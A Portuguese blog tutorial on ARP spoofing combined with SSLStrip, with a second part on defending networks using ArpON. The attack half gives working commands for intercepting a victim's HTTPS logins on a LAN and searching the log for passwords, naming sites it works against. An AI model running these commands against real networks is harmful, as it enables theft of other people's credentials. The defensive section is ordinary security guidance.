sexta-feira, 1 de janeiro de 2016

Entendendo o ataque ARP spoofing + SSLStrip

Veremos um pouco sobre o
SSLStrip

, descobriremos que o uso da conexão segura
SSL

 não garante a proteção do usuário 100%. Muita gente acha que ao usar HTTPS, está livre de qualquer ataque de crackers, mas na verdade não é bem assim, existem métodos que possibilitam o roubo de informações mesmo em sites seguros.

O SSLStrip nos permite isso, esta técnica é relativamente fácil de aplicar e extremamente poderosa. Ela funciona juntamente com o arpspoof, que já vimos como funciona, para aqueles que não viram, segue o link:
Guia do TI: Um Pouco Sobre Sniffer e Arp Spoof

Quando um usuário conecta-se em um site seguro, ele transfere as informações criptografadas com o servidor impedindo um ataque de
sniffing

 tradicional. Quando realizamos o ataque de SSLStrip, primeiramente interceptamos o tráfego do alvo através de técnicas
man-in-the-middle

, assim, o atacante engana o alvo fazendo-se passar por um proxy e engana o servidor se passando pelo cliente, assim as informações são passadas para o atacante em texto puro.
Abaixo demonstrarei como funciona o ataque propriamente dito, utilizei um BackTrack 5 R2para usar o SSLStrip e um Windows como alvo.
* Todas as informações aqui contidas são para fins didáticos e não para causar danos e prejuízos para alguém, usem este conhecimento com ética e responsabilidade.
Procedimentos

Primeiramente habilitaremos o encaminhamento de pacotes para realizar o
ARP spoofing

:
# echo “1” > /proc/sys/net/ipv4/ip_forward
Agora, vá até o diretório do SSLStrip no BackTrack:
# cd /pentest/web/sslstrip
Redirecione o tráfego da porta 80 para a porta que utilizaremos no SSLStrip, no caso, redirecionei para a porta 8080:
# iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080
Agora vamos mandar o SSLStrip escutar o tráfego na porta 8080 e mandar ele logar tudo:
# python sslstrp.py -a -l 8080
Depois disso, em outro terminal, comece o ARP spoofing entre a vítima e o gateway:
# arpspoof -i eth0 -t 192.168.0.55 192.168.0.1
Em outro terminal:
# arpspoof -i eth0 -t 192.168.0.1 192.168.0.55
Você pode acompanhar o tráfego dando:
# tail -f sslstrip.log
Para ver as senhas, procure por login ou passwd dentro do arquivo de log, não se assuste com a quantidade de informações dentro do arquivo, é assim mesmo.
Obs.: Se você estiver tentando capturar senhas do Gmail e a vítima estiver utilizando o Google Chrome não vai funcionar, tem que ser outro navegador, como o IE por exemplo. Mas o resto funciona, como: Facebook, Terra, entre outros.
Como se proteger

O ArpON é uma ferramenta open source que faz ARP seguro, evitando, com isso, ataques como
Man-in-the-middle

,
DHCP Spoofing

,
DNS Spoofing

,
Web Spoofing

,
Sequestro de sessão SSL

, entre outros. Ela funciona monitorando a tabela ARP da rede, gera e bloqueia alterações na tabela.
Bem, como na maioria das empresas a maioria dos hosts são Windows, iremos basear o laboratório no seguinte cenário:
               
     FIREWALL  / GATEWAY
                    |
                  SWITCH
                    |
        ---------------------------
        |           |             |
       HOST        HOST          HOST

Não sei se dá para entender (hehehe), mas vamos amos explicar mais um. pouco. É no nosso servidor
GNU/Linux

 que compartilha a Internet para a rede interna que será instalado o
ArpON

, e nele, iremos colocar todos os IPs e MACs dos nossos clientes.
Assim, quando algum usuário malicioso tentar fazer o ARP spoofing, ele não irá conseguir completar. Do alvo para o gateway, ele vai conseguir, pois não temos nenhuma proteção no cliente. Mas quando ele tentar fazer do gateway para o alvo, ele não vai conseguir, pois o ArpON que está no gateway irá bloquear, com isso, impedimos o ataque e conseguimos até ver qual é o usuário espertinho.
Bem, vamos colocar a mão na massa. Para instalar o ArpON:
# aptitude install arpon
Agora, edite o arquivo de configuração do ArpON:
# pico /etc/default/arpon
Descomente a linha:
DAEMON_OPTS=”-d -f /var/log/arpon/arpon.log -g -i eth1 -s”
Obs.: Repare que existe um parâmetro nessa linha (
-i eth1

) que não haverá no arquivo de vocês, é porque no meu laboratório a interface da rede interna é
eth1

, caso a de vocês seja
eth0

, não é necessário colocar este parâmetro.
E mude a linha:
RUN=”no”

Para:
RUN=”yes”
Agora precisamos cadastrar os IPs e MACs dos clientes:
# pico /etc/arpon.sarpi
Edite o arquivo da seguinte forma:
#IP              MAC
192.168.0.5          f5:f5:f5:f5:f5:f5
Obs.: Faça a identação com tabulações.

Agora é só iniciar o ArpON:
# /etc/init.d/arpon start
E acompanhar os logs:
# tail -f /var/log/arpon/arpon.log
 Creditos:rik_99(VOL)

Nenhum comentário :

Postar um comentário

Total de visualizações de página